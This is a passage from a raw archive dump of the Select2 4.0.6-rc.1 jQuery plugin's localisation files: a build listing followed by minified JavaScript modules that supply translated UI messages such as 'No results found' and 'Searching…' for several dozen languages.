пронађено"},searching:function(){return"Претрага…"}}}),{define:e.define,require:e.require}})();i18n/build.txt000064400000003556151701413610007173 0ustar00 af.js ---------------- af.js ar.js ---------------- ar.js az.js ---------------- az.js bg.js ---------------- bg.js bs.js ---------------- bs.js ca.js ---------------- ca.js cs.js ---------------- cs.js da.js ---------------- da.js de.js ---------------- de.js dsb.js ---------------- dsb.js el.js ---------------- el.js en.js ---------------- en.js es.js ---------------- es.js et.js ---------------- et.js eu.js ---------------- eu.js fa.js ---------------- fa.js fi.js ---------------- fi.js fr.js ---------------- fr.js gl.js ---------------- gl.js he.js ---------------- he.js hi.js ---------------- hi.js hr.js ---------------- hr.js hsb.js ---------------- hsb.js hu.js ---------------- hu.js hy.js ---------------- hy.js id.js ---------------- id.js is.js ---------------- is.js it.js ---------------- it.js ja.js ---------------- ja.js km.js ---------------- km.js ko.js ---------------- ko.js lt.js ---------------- lt.js lv.js ---------------- lv.js mk.js ---------------- mk.js ms.js ---------------- ms.js nb.js ---------------- nb.js nl.js ---------------- nl.js pl.js ---------------- pl.js ps.js ---------------- ps.js pt-BR.js ---------------- pt-BR.js pt.js ---------------- pt.js ro.js ---------------- ro.js ru.js ---------------- ru.js sk.js ---------------- sk.js sl.js ---------------- sl.js sr-Cyrl.js ---------------- sr-Cyrl.js sr.js ---------------- sr.js sv.js ---------------- sv.js th.js ---------------- th.js tk.js ---------------- tk.js tr.js ---------------- tr.js uk.js ---------------- uk.js vi.js ---------------- vi.js zh-CN.js ---------------- zh-CN.js zh-TW.js ---------------- zh-TW.js i18n/ar.js000064400000001553151701413610006266 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(e){var t=e.input.length-e.maximum;return"الرجاء حذف "+t+" عناصر"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"الرجاء إضافة "+t+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(e){return"تستطيع إختيار "+e.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"}}}),{define:e.define,require:e.require}})();i18n/et.js000064400000001416151701413610006272 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" vähem",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" rohkem",n},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var t="Saad vaid "+e.maximum+" tulemus";return e.maximum==1?t+="e":t+="t",t+=" valida",t},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"}}}),{define:e.define,require:e.require}})();i18n/ps.js000064400000002002151701413610006274 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="د مهربانۍ لمخي "+t+" توری ړنګ کړئ";return t!=1&&(n=n.replace("توری","توري")),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لږ تر لږه "+t+" يا ډېر توري وليکئ";return n},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(e){var t="تاسو يوازي "+e.maximum+" قلم په نښه کولای سی";return e.maximum!=1&&(t=t.replace("قلم","قلمونه")),t},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."}}}),{define:e.define,require:e.require}})();i18n/de.js000064400000001534151701413610006253 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Bitte "+t+" Zeichen weniger eingeben"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Bitte "+t+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var t="Sie können nur "+e.maximum+" Eintr";return e.maximum===1?t+="ag":t+="äge",t+=" auswählen",t},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"}}}),{define:e.define,require:e.require}})();i18n/fa.js000064400000001763151701413610006255 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="لطفاً "+t+" کاراکتر را حذف نمایید";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لطفاً تعداد "+t+" کاراکتر یا بیشتر وارد نمایید";return n},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(e){var t="شما تنها میتوانید "+e.maximum+" آیتم را انتخاب نمایید";return t},noResults:function(){return"هیچ نتیجهای یافت نشد"},searching:function(){return"در حال جستجو..."}}}),{define:e.define,require:e.require}})();i18n/cs.js000064400000002353151701413610006270 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/cs",[],function(){function e(e,t){switch(e){case 2:return t?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadejte o jeden znak méně.":n<=4?"Prosím, zadejte o "+e(n,!0)+" znaky méně.":"Prosím, zadejte o "+n+" znaků méně."},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadejte ještě jeden znak.":n<=4?"Prosím, zadejte ještě další "+e(n,!0)+" znaky.":"Prosím, zadejte ještě dalších "+n+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(t){var n=t.maximum;return n==1?"Můžete zvolit jen jednu položku.":n<=4?"Můžete zvolit maximálně "+e(n,!1)+" položky.":"Můžete zvolit maximálně "+n+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"}}}),{define:e.define,require:e.require}})();i18n/nl.js000064400000001607151701413610006275 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Gelieve "+t+" karakters te verwijderen";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Gelieve "+t+" of meer karakters in te voeren";return n},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var t=e.maximum==1?"kan":"kunnen",n="Er "+t+" maar "+e.maximum+" item";return e.maximum!=1&&(n+="s"),n+=" worden geselecteerd",n},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"}}}),{define:e.define,require:e.require}})();i18n/eu.js000064400000001523151701413610006272 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gutxiago",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gehiago",n},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return e.maximum===1?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"}}}),{define:e.define,require:e.require}})();i18n/hy.js000064400000001764151701413610006310 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Խնդրում ենք հեռացնել "+t+" նշան";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Խնդրում ենք մուտքագրել "+t+" կամ ավել նշաններ";return n},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(e){var t="Դուք կարող եք ընտրել առավելագույնը "+e.maximum+" կետ";return t},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"}}}),{define:e.define,require:e.require}})();i18n/he.js000064400000001676151701413610006266 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="נא למחוק ";return t===1?n+="תו אחד":n+=t+" תווים",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="נא להכניס ";return t===1?n+="תו אחד":n+=t+" תווים",n+=" או יותר",n},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(e){var t="באפשרותך לבחור עד ";return e.maximum===1?t+="פריט אחד":t+=e.maximum+" פריטים",t},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"}}}),{define:e.define,require:e.require}})();i18n/ja.js000064400000001527151701413610006257 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" 文字を削除してください";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="少なくとも "+t+" 文字を入力してください";return n},loadingMore:function(){return"読み込み中…"},maximumSelected:function(e){var t=e.maximum+" 件しか選択できません";return t},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"}}}),{define:e.define,require:e.require}})();i18n/fr.js000064400000001572151701413610006274 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Supprimez "+t+" caractère"+(t>1?"s":"")},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Saisissez au moins "+t+" caractère"+(t>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"}}}),{define:e.define,require:e.require}})();i18n/is.js000064400000001414151701413610006273 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/is",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vinsamlegast styttið texta um "+t+" staf";return t<=1?n:n+"i"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vinsamlegast skrifið "+t+" staf";return t>1&&(n+="i"),n+=" í viðbót",n},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(e){return"Þú getur aðeins valið "+e.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"}}}),{define:e.define,require:e.require}})();i18n/bg.js000064400000001621151701413610006250 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bg",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Моля въведете с "+t+" по-малко символ";return t>1&&(n+="a"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Моля въведете още "+t+" символ";return t>1&&(n+="a"),n},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(e){var t="Можете да направите до "+e.maximum+" ";return e.maximum>1?t+="избора":t+="избор",t},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"}}}),{define:e.define,require:e.require}})();i18n/bs.js000064400000001663151701413610006272 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bs",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();i18n/hsb.js000064400000001777151701413610006450 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hsb",[],function(){var e=["znamješko","znamješce","znamješka","znamješkow"],t=["zapisk","zapiskaj","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Prošu zhašej "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Prošu zapodaj znajmjeńša "+r+" "+n(r,e)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(e){return"Móžeš jenož "+e.maximum+" "+n(e.maximum,t)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"}}}),{define:e.define,require:e.require}})();i18n/vi.js000064400000001447151701413610006304 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/vi",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vui lòng nhập ít hơn "+t+" ký tự";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vui lòng nhập nhiều hơn "+t+" ký tự";return n},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(e){var t="Chỉ có thể chọn được "+e.maximum+" lựa chọn";return t},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"}}}),{define:e.define,require:e.require}})();i18n/es.js000064400000001603151701413610006267 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor, elimine "+t+" car";return t==1?n+="ácter":n+="acteres",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Por favor, introduzca "+t+" car";return t==1?n+="ácter":n+="acteres",n},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var t="Sólo puede seleccionar "+e.maximum+" elemento";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();i18n/hu.js000064400000001451151701413610006275 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Túl hosszú. "+t+" karakterrel több, mint kellene."},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Túl rövid. Még "+t+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"}}}),{define:e.define,require:e.require}})();i18n/ca.js000064400000001563151701413610006250 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Si us plau, elimina "+t+" car";return t==1?n+="àcter":n+="àcters",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Si us plau, introdueix "+t+" car";return t==1?n+="àcter":n+="àcters",n},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var t="Només es pot seleccionar "+e.maximum+" element";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"}}}),{define:e.define,require:e.require}})();i18n/pt-BR.js000064400000001534151701413610006607 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Apague "+t+" caracter";return t!=1&&(n+="es"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Digite "+t+" ou mais caracteres";return n},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var t="Você só pode selecionar "+e.maximum+" ite";return e.maximum==1?t+="m":t+="ns",t},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();i18n/hr.js000064400000001516151701413610006274 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hr",[],function(){function e(e){var t=" "+e+" znak";return e%10<5&&e%10>0&&(e%100<5||e%100>19)?e%10>1&&(t+="a"):t+="ova",t}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Unesite "+e(n)},inputTooShort:function(t){var n=t.minimum-t.input.length;return"Unesite još "+e(n)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(e){return"Maksimalan broj odabranih stavki je "+e.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();i18n/th.js000064400000002037151701413610006275 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="โปรดลบออก "+t+" ตัวอักษร";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="โปรดพิมพ์เพิ่มอีก "+t+" ตัวอักษร";return n},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(e){var t="คุณสามารถเลือกได้ไม่เกิน "+e.maximum+" รายการ";return t},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"}}}),{define:e.define,require:e.require}})();i18n/en.js000064400000001502151701413610006260 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Please enter "+t+" or more characters";return n},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),{define:e.define,require:e.require}})();i18n/el.js000064400000002163151701413610006262 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Παρακαλώ διαγράψτε "+t+" χαρακτήρ";return t==1&&(n+="α"),t!=1&&(n+="ες"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Παρακαλώ συμπληρώστε "+t+" ή περισσότερους χαρακτήρες";return n},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(e){var t="Μπορείτε να επιλέξετε μόνο "+e.maximum+" επιλογ";return e.maximum==1&&(t+="ή"),e.maximum!=1&&(t+="ές"),t},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"}}}),{define:e.define,require:e.require}})();i18n/sv.js000064400000001431151701413610006307 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vänligen sudda ut "+t+" tecken";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vänligen skriv in "+t+" eller fler tecken";return n},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(e){var t="Du kan max välja "+e.maximum+" element";return t},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"}}}),{define:e.define,require:e.require}})();i18n/pl.js000064400000001644151701413610006300 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pl",[],function(){var e=["znak","znaki","znaków"],t=["element","elementy","elementów"],n=function(t,n){if(t===1)return n[0];if(t>1&&t<=4)return n[1];if(t>=5)return n[2]};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Usuń "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Podaj przynajmniej "+r+" "+n(r,e)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(e){return"Możesz zaznaczyć tylko "+e.maximum+" "+n(e.maximum,t)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"}}}),{define:e.define,require:e.require}})();i18n/sl.js000064400000001601151701413610006274 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Prosim zbrišite "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Prosim vpišite še "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var t="Označite lahko največ "+e.maximum+" predmet";return e.maximum==2?t+="a":e.maximum!=1&&(t+="e"),t},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"}}}),{define:e.define,require:e.require}})();i18n/zh-TW.js000064400000001313151701413610006627 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="請刪掉"+t+"個字元";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="請再輸入"+t+"個字元";return n},loadingMore:function(){return"載入中…"},maximumSelected:function(e){var t="你只能選擇最多"+e.maximum+"項";return t},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"}}}),{define:e.define,require:e.require}})();i18n/pt.js000064400000001542151701413610006305 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor apague "+t+" ";return n+=t!=1?"caracteres":"caractere",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Introduza "+t+" ou mais caracteres";return n},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var t="Apenas pode seleccionar "+e.maximum+" ";return t+=e.maximum!=1?"itens":"item",t},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"}}}),{define:e.define,require:e.require}})();i18n/it.js000064400000001563151701413610006301 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Per favore cancella "+t+" caratter";return t!==1?n+="i":n+="e",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Per favore inserisci "+t+" o più caratteri";return n},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var t="Puoi selezionare solo "+e.maximum+" element";return e.maximum!==1?t+="i":t+="o",t},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"}}}),{define:e.define,require:e.require}})();i18n/id.js000064400000001367151701413610006263 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Hapuskan "+t+" huruf"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Masukkan "+t+" huruf lagi"},loadingMore:function(){return"Mengambil 